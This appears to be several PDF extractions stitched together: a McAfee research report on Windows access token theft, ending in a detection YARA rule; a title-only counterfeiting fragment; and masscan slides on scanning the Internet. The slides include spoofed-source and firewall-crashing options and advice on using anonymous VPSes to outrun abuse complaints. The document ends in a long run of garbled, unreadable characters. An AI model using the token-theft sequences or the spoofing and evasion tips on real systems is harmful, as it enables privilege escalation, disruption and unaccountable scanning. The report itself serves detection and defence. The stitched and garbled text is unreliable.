the machine and runs under the lower privileged administrator account or any other lower privileged account, it will need to elevate is privileges further to be able to perform meaningful actions and do lateral movement. Hence, to be able to run with the elevated privileges, the malware would attempt to change the security context of the calling process by using Windows inbuilt functionality or impersonate the security context of the process running with higher privileges. By default, a process running as a SYSTEM will have the highest level of privileges. If malware running with the lower privileges steals the token of the process running with the higher privileges or SYSTEM by abusing Windows functionality and spawns the process with the stolen access token, then a resulting created process will have SYSTEM level privileges as well, helping it to advance its further lateral movement activities. However, attacker will have to bypass UAC to be able to further execute this attack. In the following sections, we will attempt to outline how this task is accomplished by malware authors, leading to the escalated privileges on the system. We will also discuss how we can detect access token manipulation attacks on the endpoint. Technical Analysis of Access Token Theft and Manipulation 4 REPORT Access Token Creation and User Account Control As a fundamental aspect of the User Account Control (UAC) in Windows, standard users as well as those who are a part of the administrator’s group, access system resources in the context of standard users. When a user who is a part of the administrator’s group logs on to the system, multiple access tokens are granted to the user by the Local Security Authority (LSA): a restricted access token or a filtered token which is the stripped- down SID with limited privileges, and an administrator or elevated access token which can be used to perform administrative or privileged tasks. Any user-initiated process will inherit the standard access token from explorer.exe which starts when the user first authenticates to the system. Users belonging to the local administrator group can run all apps and perform actions like browsing using the standard access token. If the administrative or standard user attempts to access any secured object or intends to execute any privileged tasks, they will be prompted for consent or credentials respectively, after which they can use the elevated token. High level flow of access token creation, as described by Microsoft documentation, can be visualized as below: Authenticates SAM database User part of administrator group? Assign the standard user access token to explore.exe Ask for admin credentials if the user performs privileged tasks Assign the standard user and administrator access token to explore.exe Ask for the consent if the user performs privileged tasks YES NO The structure of the access token in the kernel is as seen below. It has many useful pieces of information like token type, privileges assigned to the token, impersonation level, user, and primary group info, etc. Technical Analysis of Access Token Theft and Manipulation 5 REPORT As we notice the above token structure in the kernel, some of the important and relevant structures are the SEP_TOKEN_PRIVILEGES array which describes the privileges assigned to the access token depending upon the token elevation type, TOKEN_TYPE which is either primary or impersonation token, describing the security context of the user associated with the process, and SECURITY_IMPERSONATION_LEVEL containing the constants, describing the impersonation level, which is the ability of the calling process to impersonate the security context of the target process. The definition of SECURITY_IMPERSONATION_LEVEL constants can be found in the MS docs. The following figure helps with visualizing the populated token structure details in WinDbg, highlighting the differences when the process is started as a standard user belonging to the administrator group, with and without an elevated token. We can clearly notice the difference in the token elevation type, respective privileges assigned to the token, and the process integrity level. Token structure of a process started as a low privileged administrative user (No elevation prompt) Token structure of a process started as the standard user belonging to administrator group, with elevation prompt eventually using elevated token Technical Analysis of Access Token Theft and Manipulation 6 REPORT We notice that some of the privileges assigned to the user are enabled by default, while other privileges must be explicitly enabled. Malicious code would usually try to steal the token of the SYSTEM level process, impersonating its security context, eventually leading to the process running with elevated privileges. During this process it would also enable the SE_DEBUG_NAME (SeDebugPrivilege) which is required to access the memory of the process running under another user context. In the following section, we will see how this activity is performed by malware using Windows functionality. Access Token Manipulation Malware can use multiple methods to achieve token manipulation resulting in privilege escalation: ■ Duplicating the token and assigning it to a running thread: Once the required privileges on the calling process are enabled, malware would attempt to open the process running with higher privileges, acquire the access token of the process, and duplicate it using DuplicateTokenEx. It takes one of the SECURITY_IMPERSONATION_LEVEL constants as its argument, which would usually be “SecurityImpersonation,” to impersonate the security context of another process on the local system, and subsequently use SetThreadToken Windows API to assign the impersonated token to the current running thread. Consequently, the calling thread will resume with the security context of the other process. ■ Starting a new process with the impersonation token: Here again, after using DuplicateTokenEx, malware could use CreateProcesswithToken, to launch another process with the duplicated token, eventually resulting in the new process running in the security context of the specified token. The calling process must have SeImpersonatePrivilege which is enabled by default for processes running under the context of elevated local administrator. Below is a visualization of the path followed by malware to execute token manipulation attacks. OpenProcess—Open the process with the specified PID. DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId OpenProcessToken—Opens the process access token for specified PID. HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle ImpersonateLoggedOnuser— Lets the calling thread impersonate the security context of a logged-on user. HANDLE hToken CreateProcessAsUserW— New process runs in the security context of the user represented by the specified token. HANDLE hToken, LPCSTR lpApplicationName, : CreateProcessWithTokenW— New process runs in the security context of the specified token. SetTokenInformation—Sets various types of information for a specified access token. HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength SetThreadToken—Assigns an impersonation token to a thread. PHANDLE Thread, HANDLE Token ResumeThread—Resumes the execution of the suspended thread. DuplicateTokenEx—Creates the new token duplicating the existing token. HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken Technical Analysis of Access Token Theft and Manipulation 7 REPORT Looking at the Code: Technique 1: CreateProcessWithTokenW Looking at the code below, there are a few things that must be done to be able to spawn the process with SYSTEM privileges. ■ To be able to access/read another process’s memory, the calling process must have “SeDebugPrivilege.” Users in the administrator group have this privilege disabled by default. Calling OpenProcessToken on the current process would return the token handle of the calling process, following which LookupPrivilegeValue with “SE_DEBUG_NAME” returns the LUID of the specified privilege. This will be returned in the TOKEN_ PRIVILEGES structure. ■ Next, we specify SE_PRIVILEGE_ENABLED in the TOKEN_PRIVILEGE structure attributes field to indicate that the privilege specified in the LUID needs to be enabled. Calling AdjustTokenPrivileges with the handle acquired from OpenProcessToken and structure will get this privilege enabled on the calling process. ■ Next, we call OpenProcess with the PID of the SYSTEM level process specified on the command line and with the returned process handle and execute OpenProcessToken to acquire the handle to the process’s primary token. To be able to successfully duplicate the token in the next call to DuplicateTokenEx, we need an access token with TOKEN_QUERY and TOKEN_DUPLICATE permissions. ■ Before calling DuplicateTokenEx, we set SECURITY_IMPERSONATION_ LEVEL, which is an enumerator to “SecurityImpersonation” and TOKEN_ TYPE enumerator to “TokenPrimary.” This will allow the security context of the target process to be impersonated, which most malware of this type also does. With this, DuplicateTokenEx is called, returning the handle to the duplicated token. ■ This new token can now be used with CreateProcessWithTokenW, along with the executable name and the PROCESS_INFORMATION structure, to start a new process as a SYSTEM user. Malware often attempts to set the session ID of the new process/thread to the same as the target process using SetTokenInformation to impersonate the user processes running from interactive logon. As shown below, the resulting new process created is running in the security context of the SYSTEM user. Technical Analysis of Access Token Theft and Manipulation 8 REPORT Following is a malware code snippet (dubbed RottonPotato: A9FD8100AA5EF47E68B2F084562AFDE0) using the same technique to start the process with a stolen access token: Looking at the Code: Technique 2: ImpersonateLoggedOnUser ■ As shown in the code below, we call GetUserName just after calling the OpenProcessToken to check the user security context under which the process is running. As highlighted in Technique 1, OpenProcessToken is called with the PID of the SYSTEM level process. ■ Next, we call ImpersonateLoggedOnUser with the primary or impersonation token handle derived with the previous API. ImpersonateLoggedOnUser allows the calling thread to impersonate the security context of the current logged in user which is specified by the access token handle passed to it, after which GetUserName is called again to check the security context. As we see below, the context of the calling thread is changed to a SYSTEM level process. Looking at the Code: Technique 3: CreateProcessAsUser ■ Here, we call CreateProcessAsUser with one of the arguments as a handle of the token acquired after calling DuplicateTokenEx. The new process to be created is also passed as an argument to the call which will subsequently run in the security context of the user represented by the token handle. ■ To be able to create the process with the specified token handle, the calling process must have SE_ASSIGNPRIMARYTOKEN_NAME as shown here. Technical Analysis of Access Token Theft and Manipulation 9 REPORT Below is the output after calling CreateProcessAsUser, subsequently creating the process with system level privileges. Below is the code snippet from a malware implementing the same user impersonation technique. Looking at the Code: Technique 4: SetThreadToken ResumeThread ■ In the below malware code, GetTokenInformation is called to acquire the TokenSessionID for the terminal services. Once the process access token is duplicated, TokenSessionID is set on the duplicated token using SetTokenInformation. ■ Subsequently, a thread is created in suspended mode and a new impersonated token is assigned to the created thread with SetThreadToken and then the suspended thread is resumed, calling ResumeThread, which executes in the security context of the user represented by the impersonated token. Technical Analysis of Access Token Theft and Manipulation 10 REPORT Other SYSTEM Level Processes We checked out many other running SYSTEM level processes running and were able to acquire and impersonate access tokens from some of them, such as lsass.exe, winlogon.exe, googlecrashhandler.exe, and svchost.exe. However, as shown in the following output, acquiring access tokens from many of them failed owing to the security settings and read permissions for these processes. We see multiple forms of failures in the above output. One is the OpenProcess call failure and the other is OpenProcessToken call failure on the SYSTEM level processes. We wanted to further investigate these failures and check if there are any differences in the security settings and access permissions for these processes. While investigating the OpenProcess API failure on the passed PID, we found it was due to the protection settings of these SYSTEM level processes. More details about the access rights on the protected processes have been documented on MS docs. In summary, protected processes prevent several malicious activities from malware or non-protected processes which involve manipulating process objects like code injection, obtaining a handle to the protected process, debugging a running protected process, accessing memory, impersonating, or duplicating a handle from a protected process, injecting a thread into it, etc. Below are the protection settings for processes with OpenProcess failure and OpenProcess success when looked at through Sysinternal’s Process Explorer. We see that csrss.exe is protected with PsProtectedSignerWinTcb-Light and on accessing permissions settings, it throws a process open error. Technical Analysis of Access Token Theft and Manipulation 11 REPORT This is also indicated in the OpenProcess docs as well. Many of the other processes were found to be protected with the same or other protections. Digging into this a bit further and came across very interesting behavior which is worth highlighting here. If we look at the OpenProcess call in the code as shown below, PROCESS_QUERY_INFORMATION is passed as a desired access. API documentation here mentions PROCESS_QUERY_INFORMATION from a process to the protected process isn’t allowed and we need to use PROCESS_QUERY_LIMITED_INFORMATION in the OpenProcess call if we need to acquire a handle to the protected process Technical Analysis of Access Token Theft and Manipulation 12 REPORT Further, I modified the code to use the PROCESS_QUERY_LIMITED_ INFORMATION while opening a handle to the protected process: and I was able to successfully open the process, steal token and start a new process with SYSTEM level privileges. While looking into OpenProcessToken call failure, we found few differences between the access permissions of those processes. The below snapshot highlights the differences in the permission settings for two different processes: one with OpenProcessToken success and the other with OpenProcessToken failure. Technical Analysis of Access Token Theft and Manipulation 13 REPORT Along with the above highlighted difference in the process permissions, a related Specterops blog here also highlights another major difference between the access token ownership of these processes because of which OpenProcessToken failed. Access token ownership relates to the TOKEN_USER and TOKEN_OWNER and as we see below, both the processes, lsass.exe with OpenProcessToken success and spoolsv.exe with OpenProcessToken failure, had a different token owner. Coverage MITRE ATT&CK MITRE ATT&CK maps “Access token manipulation” under privilege escalation technique T1134 and has identified many high impact malware attacks armed with lateral movement capabilities using process access token impersonation attacks as shown below. Many of the recent APTs have been using similar techniques as well. https://attack.mitre.org/techniques/T1134/ Technical Analysis of Access Token Theft and Manipulation 14 REPORT The below simplified visualization maps the access token manipulation techniques used by malware to stages of lateral movement and when they are used during malware spreading activity. LATERAL MOVEMENT Target Discovery Gaining Resource Access Remote Code Execution Privilege Escalation Token Theft/ Impersonation Credential Theft T1134.001 Create Process with Token T1134.002 Create and impersonate token T1134.003 Detecting Access Token Manipulation Attacks YARA Rule One of the ways to detect access token attacks is to monitor the Windows APIs used. The following YARA rule can help with this detection. rule access_token_impersonation { meta: description = “Yara rule to detect process access token impersonation” author = “Chintan Shah” date = “2021-01-29” rule_version = “v1.1” malware_family = “APT28/ FIN/ RottenPotato/Petya” mitre_attack = “T1134.001 T1134.002 T1134.003” strings: $api1 = “OpenProcess” $api2 = “OpenProcesstoken” $api3 = “DuplicateTokenEx” $apipath1_1 = “CreateThread” $apipath1_2 = “SetTokenInformation” $apipath1_3 = “SetThreadToken” $apipath1_4 = “ResumeThread” $apipath2_1 = “ImpersonateLoggedOnUser” $apipath3_1 = “CreateProcessWithToken” $apipath4_1 = “CreateProcessAsUser” condition: (all of ($api*) and all of ($apipath1_*)) or ( $api1 and $api2 and $apipath2_1 ) or ( all of ($api*) and $apipath3_1) or ( all of ($api*) and $apipath4_1) Technical Analysis of Access Token Theft and Manipulation 15 REPORT Conclusion Access token manipulation attacks help malware execute its lateral movement activities by staying under the radar and evading many other mitigations like User Account Control, file system restrictions and other System Access Control Lists (SACLs). Since these attack techniques use the inbuilt Windows security features and exploits known as Windows APIs, it is critical to monitor the malicious use of these APIs to generically detect the malware using them. Since malware would usually target SYSTEM level running processes for stealing tokens to gain elevated local privileges, it is also a good security measure to monitor the API calls targeting these processes. About the Author Chintan Shah Chintan Shah is currently working as a Lead Security Researcher with the McAfee Intrusion Prevention System team and holds broad experience in the network security industry. He primarily focuses on exploit and vulnerability research, building threat Intelligence frameworks, reverse engineering techniques and malware analysis. He has researched and uncovered multiple targeted and espionage attacks and his interests lie in software fuzzing for vulnerability discovery, analyzing exploits, malware and translating to product improvement. Technical Analysis of Access Token Theft and Manipulation 16 REPORT 6220 America Center Drive San Jose, CA 95002 888.847.8766 www.mcafee.com About McAfee McAfee is the device-to-cloud cybersecurity company. Inspired by the power of working together, McAfee creates business and consumer solutions that make our world a safer place. By building solutions that work with other companies’ products, McAfee helps businesses orchestrate cyber environments that are truly integrated, where protection, detection, and correction of threats happen simultaneously and collaboratively. By protecting consumers across all their devices, McAfee secures their digital lifestyle at home and away. By working with other security players, McAfee is leading the effort to unite against cybercriminals for the benefit of all. www.mcafee.com McAfee ATR The McAfee® Advanced Threat Research Operational Intelligence team operates globally around the clock, keeping watch of the latest cyber campaigns and actively tracking the most impactful cyber threats. Several McAfee products and reports, such as MVISION Insights and APG ATLAS, are fueled with the team’s intelligence work. In addition to providing the latest Threat Intelligence to our customers, the team also performs unique quality checks and enriches the incoming data from all of McAfee’s sensors in a way that allows customers to hit the ground running and focus on the threats that matter. Subscribe to receive our Threat Information. Technical Analysis of Access Token Theft and Manipulation 17 REPORT McAfee and the McAfee logo are trademarks or registered trademarks of McAfee, LLC or its subsidiaries in the US and other countries. Other marks and brands may be claimed as the property of others. Copyright © 2021 McAfee, LLC. 4735_0421 APRIL 2021
pdf
Not So Super Notes How Well Does US Dollar Note Security Prevent Counterfeiting? US Constitution: Article 1, Section 8 1922 1929 1934 1950 1990 2003
pdf
Mass$Scanning$the$Internet$ Tips,$tricks,$results$ $ Robert$Graham$ Paul$McMillan$ Dan$Tentler$ 0.0.0.0/0$ Why$scan$the$Internet$(defensive)$ •  How$many$systems$are$vulnerable$to$ Heartbleed?$ •  How$many$systems$can$be$used$for$NTP$ amplificaKon?$ •  How$many$systems$vulnerable$to$DLLink$ router$vulnerability/$ •  Survey$all$SSL$cerKficates$in$use$ Why$scan$the$Internet$(offensive)$ •  Uh,$it’s$the$deepnet$ •  Pick$a$random$port,$run$masscan$with$“— banners”,$and$you$find$something$hackable$ within$minutes$ Why$scan$the$Internet$(really)$ •  Because$it’s$fun$ •  Because$it’s$informaKve$ –  You$can’t$appreciate$how$small$the$Internet$is$unKl$ you’ve$scanned$0.0.0.0/0$ •  It’ll$make$you$famous$ –  Pick$a$target,$like$a$Siemens$control$system$ –  Scan$the$Internet$for$it$ –  Do$a$BlackHat$talk$ –  Get$in$the$news$ TheoreKcal$Physical$infrastructure$ •  Packets$have$overhead$ – Ethernet$packets$have$44$bytes$overhead$ – TCP$SYN$packets$are$40$bytes$ •  Max$rate$for$1Lgbps$Ethernet$ – 476Lmbps$of$actual$traffic$ – 524Lmbps$of$Ethernet$overhead$ – 1,488,000$packets/second$ hap://blog.erratasec.com/2013/10/whatsLmaxLspeedLonLethernet.html$ ISP$billing$ •  Some$ISPs$measure$Ethernet$rate$ –  Charge$you$for$the$full$1Lgbps$ •  Some$ISPs$measure$WAN$rate$ –  Charge$you$for$~600Lmbps$ •  Some$ISPs$don’t$see$the$small$packets$ –  This$one$Kme,$ISP$didn’t$see$our$outbound$traffic,$only$ inbound$ •  Some$ISPs$are$unmetered$ –  Yea!$ PracKcal$Physical$Infrastructure$ •  VPS$can$strain$under$the$load$of$small$packets$ •  Ethernet$switches$struggle$with$small$packets$ –  Above$500kpps$is$ohen$difficult$ –  Turning$off$flowLcontrol$may$help$ •  Some$parts$may$drop$packets$ –  Transmijng$500kpps$doesn’t$mean$all$packets$are$ reaching$the$Internet$ •  I$usually$do$~150kpps$ –  When$I$don’t$parKcularly$care$about$speed$ Abuse$complaints$ •  You$will$get$abuse$complaints$ •  Your$ISP$will$get$upset$ •  Some$things$are$worse$than$others$ – Heartbleed$scans$generate$abuse$complaints$ weeks$later$ – HTTP$scans$get$you$put$on$fail2ban$lists$ – Snort/emergingthreat$rules$generate$a$lot$of$ complaints$ ISPs$must$take$this$seriously$ •  Some$networks$react$by$blackholing$the$enKre$ AS$ •  DoD$gets$real$pissy$ Maintain$exclude$list$ •  /etc/masscan/masscan.conf$ •  exclude$=$224.0.0.0L255.255.255.255$ •  excludeLfile$=$exclude.ips$ Complainers$are$ohen$dicks$ •  “I’m$going$to$call$the$ Internet$Police$on$you”$ •  “We’ve$blocked$you$at$ the$firewall,$so$there!$ neenerLneener”$ Complainers$are$ohen$stupid$ •  “The$infrastructure$of$ Woori$Financial$Group$is$ classified$as$"NaKonal$ Security$ObjecKve$ Facility$L$class$A"$and$ unauthorized$access$to$ this$facility$is$strictly$ prohibited$by$related$ laws$and$regulaKons.”$ Friendly$with$ISP$ •  We$work$closely$with$our$ISP$ •  Provide$free$cybersec$consulKng$ •  Handle$abuse$complaints$ourselves$ – SWIP$–$Shared$WHOIS$Project$ •  Add$everyone$who$asks$to$our$“exclude”$aka$ “blacklist”$file$ …or$you$can$do$anonymous$VPS$ •  Pay$cheap$VPS$provider$with$Bitcoin$ •  You$can$complete$the$scan$and$be$done$ before$complaints$cause$them$to$shut$down$ your$account$ •  A$lot$of$them$are$shady$operators$friendly$to$ spam$and$scammers$anyway$ masscan$ .$ like$nmap$ •  All$nmap$opKons$are$parsed$ – …if$only$to$say$“this$nmap$opKon$isn’t$supported”$ •  Output$formats$close$to$nmap$ – Can$be$imported$into$some$tools$ •  Lots$of$features$supported$ – SCTP$scanning$ – UDP$nmapLpayloads$ unlike$nmap$ •  Port)at)a)Time$instead$of$Host)at)a)Time$ – Results$for$each$port$reported$as$soon$as$it’s$ found$ – Results$are$not$combined$together$per$host$ •  …because$it’s$asynchronous$ – Transmit$thread$spews$out$requests$ – Receive$thread$receives$responses$ •  …making$it$1000$Kmes$faster$ Nmap$is$a$beaer$scanner$ •  NSE$is$way$cool$ •  Scanning$a$single$host$is$way$beaer$ •  Masscan$is$simply$a$faster$or$more1scalable$ scanner$for$large$networks$ It’s$own$TCP/IP$stack!!#$%^@$ •  Masscan$has$it’s$own$TCP/IP$stack$ – Runs$sideLbyLside$with$exisKng$stack$ – Defaults$to$same$address$ – Causes$duplicate$ARPs$and$TCP$RST$ •  OS$RSTs$prevent$TCP$connecKons$from$being$ established$ – Should$spoof$different$IP$address$or$filter$range$of$ ports$to$prevent$this$ Banner$checking$ •  Establishes$TCP$connecKon$ •  HeurisKcs$figure$out$protocols$ – Scan$for$port$443$of$Internet$reveals$a$lot$of$SSH$ and$HTTP$running$on$that$port$ •  Only$a$few$things$supported$right$now$ – One$of$these$days$I’ll$NSELstyle$scripKng,$but$right$ now$you$can$hardLcode$C$stuff$ MulKple$sources$ •  LLshard$1/50$ – Used$when$doing$the$same$scan$from$mulKple$ machines$ •  LLsourceLip$10.0.0.32L10.0.0.63$ – Spreads$out$a$scan$from$mulKple$IP$addresses$ from$the$same$machine$ •  LLsourceLip$0.0.0.0L255.255.255.255$ – …for$when$you$want$to$be$a$dick$ Load$tesKng$ •  This$will$crash$firewalls$ •  Great$for$load$tesKng$firewalls$ •  LLinfinite$LLbanners$LLsourceLip$<range>$ – Maintains$lots$of$open$connecKons$with$target$ Binary$format$ •  Use$“LoB$foo.scan”$instead$of$“LoX$foo.xml”$ •  Then$convert:$ masscan$–readscan$foo.scan$–oX$foo.xml$ •  Because$ – It’s$more$compact$ – If$there’s$bugs$in$output,$I$can$fix$them$ Spoof$scan$ •  Receive$on$one$IP$address$ – Such$as$a$burner$Android$phone$ – Receiving$packets$is$lowLbandwidth$ •  Send$from$data$center$without$egress$filtering$ – LLsourceLip$spoofing$the$other$source$address$ results$ VNC$scanning$ •  ,$ Heartbleed$ •  600k$systems$vulnerable$ April$10$ •  300k$system$sKll$ vulnerable$July$ – Mostly$“devices”$ Secure:$you$keep$ using$that$word$ Some$I$think$are$just$honeypots$ Mainframe$scanning$ •  TN3270$TelnetLoverLSSL$port$992$ •  Look$at$@mainframed767$for$cool$pics$of$IBM$ Mainframe$login$screens$ •  ,$ <other$results>$ <demos>$
pdf
- 1 6 082 1 2 3 04 0 01 S U LR X MQS Q S X L I X X 1)*) *.*(312*3( ,*3*1)*) 1)*) 1*.*(31.*,*3* *.*(312*3( ,*3*1)*) 1*.*( 31.*,*3* :: = CA:3(1A E 11.::1.::1.1.::11.1. :31()',2:.:1 .: =41:1.::1 1A .1=414111.1 E 11.::1.::1.1.::11.1 .1 =414111.1.:31()',2: .:1 .: =41:1.::1 TOR_a JW 'C '.)(=' = ' '. JW'C LMOWE1WHPRQTSF bp =CE-0,L EECE< EFC= H st\L 1(('2)0-,EC=EE.E <CEE CE< EFC= H eon1tL EE==ECE E<CEEECE< EFC= vh_O\PwgMtrc andpQ<=CEpTfStimnlR TWLV\!\PW_CMTM\9M\WVc WVVM\WV33VTT!c WVVM\WV3VM_EM\W!1 d MMHWSM\33VTT!c CMTM\WVOWVO3M%OM\CMTM\WVO!1 C\VOW\3WVO%OM\=V\AIIM\M C5AWV\WAW\ !1 W\33VTT!c W\3 1 d \ac MMHWSM\3VM_CMMCWSM\=V\MOM%IM=V\W\!!1 dI\P9M\WVI+!c MMHWSM\3VTT1 d MMHWSM\3VTT!c VM_DPMILVM_C5AWV\WCMM%CMMCWSM\DPMIL!!!%\I\!1 d d d TIWVVM\WVDPMILTMMV\BVVITMc I\MCWSM\WSM\3VTT1 I\MRM\=V\C\MIV3VTT1 I\MRM\\\C\MIW\3VTT1 I\MWWTMIVTWML3ITM1 TWVVM\WVDPMILCWSM\!c \P%WSM\31 \ac \P%W\3VM_RM\\\C\MI\P%WSM\%OM\\\C\MI!!1 \P%W\%TP!1 \P%V3VM_RM\=V\C\MI\P%WSM\%OM\=V\C\MI!!1 dI\P9M\WVI-!c 1 d aVPWVbMLC5AWV\WCMM%WVVM\WV!c C5AWV\WCMM%WVVM\WV%ILL9TMMV\\P!1 d d TWLTWM!c \P%TWML3\M1 \ac \P%WSM\%TWM!1 dI\P=9M\WVI)!c 1 d d TWLV!c _PTM\M!c \ac \P%TWML!c RM\WM3\P%V%MILRM\!1 WV\VM1 d dI\P9M\WVI-!c 1 d aVPWVbMLC5AWV\WCMM%WVVM\WV!c C5AWV\WCMM%WVVM\WV%MWM9TMMV\\P!1 d TWLLW;M\<\\CMTM\BMM\ MM\#<\\CMTM\BMWVM MWVM!\PW_=9M\WV#CMTM\9M\WV c V\W\31 MMHWSM\ 3VTT!c W\3MMHWSM\%OM\>WITAW\!1 d MWVM%M\WV\MV\DaM \M\P\T !1 MWVM%OM\F\M!%V\TV 2WRM\TIL3G TL0.58/.+++9((8(69/.,:+//8/G _L\P3(PMOP\3( WLMIM3G P\\0RII%V%WWL\TOV(%RV\ITT(_V)%IEMWV3(###G 4 !1 MWVM%OM\F\M!%V\TV 2IIVIM3WLMITM3C5AWV\W5TM\%TI4 !1 MWVM%OM\F\M!%V\TV 2MML\aM3G ITI\WVRIIITM\1MWV3(%G WLM3C5AWV\W5TM\%TI _L\P3( PMOP\3(W\3G "W\" G \ITM3ITMTOVIOM3G P\\0RII%V%WWL\TOV(%TOVV\ITT%P\TG 4 !1 MWVM%OM\F\M!%V\TV 2VWMML4 !1 MWVM%OM\F\M!%V\TV 2WMV\4 !1 MWVM%OM\F\M!%V\TV 2VWMML4 !1 MWVM%OM\F\M!%V\TV 2MML4 !1 MWVM%OM\F\M!%V\TV 2WRM\4 !1 MWVM%OM\F\M!%V\TV 2WLa4 !1 MWVM%OM\F\M!%V\TV 2P\T4 !1 d / / EG2.3 ... GF.Cexpect.1H 1 dwr.xml Web.xml IJ8JJE8I7DIEJENDQ =NDEND"JD"EJQ 7.8PNDEM7.8P& 0AIEND"8;ND& JEAIE"JJE& RIQ JE & R R 08;JENDQ AJAIEE& JOQ DEJEM);";EMJE8;ND& DEJJ"JJDEJ& =JI"I0AJJQ JE00"J,EIJ8E& RIQ JE;=8JO JI"JOJ! IJE & JEBO& =JI"I(8OJ!JQ AIEJI"II(8ODEJJ!;=8JO& =JI"=.LAJQ BO JI"DL08DI8=NJ"J8=;08D& AIEEM0AJ"DEJBO!AIE& R RIQ AIEJI"IIAJDEJJ!;=8JO& =JI"=.LAJQ BO JI"DL08DI8=NJ"J8=;08D& AIEEM0AJ"DEJBO!AIE& R R JE0AIE& R R8J0NJE L8Q JML8& R8JNJEL8Q JMEM0NJEL8& R R JsTools.class 02 a 22 // // //*//// / // - -/--//*// // - . <. < // AAAAAAA AAAAAAA // 1 // //*//// / < / *-1/*/-/ < / // 1 AAAAAAA AAAAAAA // 1 // //*//// / < /0>< / // 1 AAAAAAA AAAAAAA // 1 // //*//// / < ///< / // 1 // // /////// / // - -/-////.<*//-/ // - // // 1 // /////// / < ///-/< / // 1 5DL_S%P_%PaTNP%M%bPMNZ_ZW 58ZPfLWTNL_TZ%UZ"LWTNL_TZ%cbbbZWPNZOPOg 5DZONPfLWTNL_TZ%UZg MWTNNWLIPM8Z_ZWEP_FPaTNP f MWTNIPM8Z_ZWEP_FPaTNPf g 5DCFG 5DL_S%PdDL_TNTL_ MWTNAL2F_TR"CMUPN_4PdDL_TNTL_=LSAL2F_TR"CMUPN_4LCMUPN__SZbI;FPaTNP:cNP_TZ"FCB:cNP_TZ f =LSALPW_AL 3Pb=LSAL1 F_TRZOP7ZOd 3F_TRaLWPCRP_Z;ZALLCMUPN_1 9L_LCMUPN_ ZOP39L_LCMUPN_NSLRPGZ9L_LCMUPN_ZOP"ZOP7ZOd"7ZZWPLaLWPC_P1 9L_LCMUPN_ Z_SPDLLCMU 39L_LCMUPN_NSLRPGZ9L_LCMUPN_Z_SPDLLCMU"ZOP7ZOd"7ZZWPLaLWPC_P1 PW_AL_NSTWOBZOP"FPaTNPH_TWPdDL_TNTL_ZOP"Z_SPDLLCMU1 P_PW_AL1 g 5DCFG 5DL_S%PLNSDL_TNTL_ MWTNAL2F_TR"CMUPN_4PLNSDL_TNTL_=LSAL2F_TR"CMUPN_4LCMUPN__SZbI;FPaTNP:cNP_TZ f =LSALPW_AL 3Pb=LSAL1 F_TRLP3F_TRaLWPCLCMUPN_RP_LP1 ALPc_9L_L 3ALLCMUPN_RP_Pc_9L_L1 DLRP8ZO LRP3DLRP8ZOLCMUPN_RP_LRP1 PW_AL_NSTWOBZOP"FPaTNPH_TWPLNSDL_TNTL_LP"Pc_9L_L"LRP1 P_PW_AL1 g DCFG%P_%PaTNP%M%bPMNZ_ZW%PdDZNP6O6N_TaT_d =GGD% =Z_0WZNLWSZ_0.. HP6RP_0AZeTWWL%+ITOZbBG1IT,*1c,*1a0+, <PNZ%(;TPZc%+, 6NNP_0_Pc_%S_W"LWTNL_TZ%cS_WcW"LWTNL_TZ%cW13/"%13. 6NNP_@LRLRP0PHF"P13+ 8Z_P_GdP0LWTNL_TZ%UZ 8Z_P_@PR_S0, 8ZZTP0HAOT_TN_TO3,NM.)*-N+)(P(-PNL,LPM*N)((-N L*,NM.)*-N,,(O18BJJ96G6(,(.,3-*-+(- ++(*/*+ -8++(*/*+1 F:FF>CB>93;./:(:8.:.78);-9:/.+(;,9*7(- 8ZPN_TZ0NWZP HRLOP>PNPEPP_0 fbZ>_P>90g EP_mkrqtispnjolh P_PLdPZNP3NZTP_ZMbPMNZ_ZWP_WIPM8Z_ZWEP_ FPaTNP IMMF;IFIMCHL IHLIMCFE IFEIFN(OFE IMC(OFE =I,FE&;)CIFIC IHLFEILLIAELCC IA &LFDAIFM;IIFM;IIFM;IILCIAILCIAP,7( IAIDFCIDF;;IIHL IHLFEILLIA R IP EIFIEI..&(I&EIHLIFE;FEIIHLIFE RIFNCMI" CFIIIFIMI" R=ECCP &FEOEILIIEI R R SVT WU INEC=LM;MC=C;E2M=IMH4;;A 258,5-2M=IMH4;;A IC;M2M=IMH4;;A SMCL;-HCA0CE T IC;MHC;-HCA0CE S 1;E6ACLMR CM=IMH6ACLMR 1;E6ACLMREH; 2M=IMH4;;A=E;LLAM-E;LL3H; =HCA.C ;EFE22M=IMH=E;LL;EC=E;LLLHM2"";EL MCL;2M=IMH-HCA =HCA T INEC=HC;2M=IMH-HCA 2M=IMH-HCA =HCAS MCL=HCAL; C=HCA MCLCM=IMHL; CCM=IMH INEC=22M=IMH-;C =;M-;C 1MMIEM6NLM NLM1MMIEM6LIHL LIHLS MRS 22M=IMH CM=IMH 22M=IMHMCLCM=IMHLAM C =;C;2M=IMH CM=IMH T T T TC;EERS MCLEH=D;3H=D NEH=D T MN=;C T qdxwUyrec;EFEf}hUa 2M=IMHLC=qtmvo 2)52M=IMH 1MMI=NCMR2M=IMHbWqkivo 1MMI62M=IMHl L3HAC2M=IMHp{l (,==LL6LHN=2M=IMHunqsgl MRIASLK1IC.LKDE EFLTP:CSIC0ACMLK W FP$K) MRIASLKW MMLACPPLP+CNRPLACPPLP$:;-.0$EC-IILACPPLP) CLC+MLACPPLP$CKV:C$CL) TFICC$FPCW 0KVKCACMLP+0KVC$KC) $$$$$$ $$$$$$ LACPPL=CKCACML=CKCACMLKEC$:;-.0$ECKCACML LACPPLKCACML> ! :KEKCACMLP$ECCV) DKCACML+KRIIW KCACML$PCLACPPLLACPPLKCACMLP$EC<IRC) $$$$$$ $$$$$$ MRIAAIPP=CKCACMLKEC W MSCPADKILEECILEEC +;ACLEEC1ALV$ECLEEC=CKCACMLKEC$AIPP) MRIAPADKI=CKCACMLKEC :;-.0+KCT=CKCACMLKEC) MSCP=CKCACML.LKDE,ALKDEP+KCT-VP) MSCP=CKCACML,KCACMLP+KCT-VP) MSCCCKKC=CLAH ILAH+KCTCCKKC=CLAHRC) MSC=CKCACMLKECW FP$C.LKDE1IC) MSCSLC.LKDE1ICW 1ICALKDE +KCT1IC-MMIALK.LKC$ECKPKAC$EC-MMIALK.LKDEF) 2KICCEPV 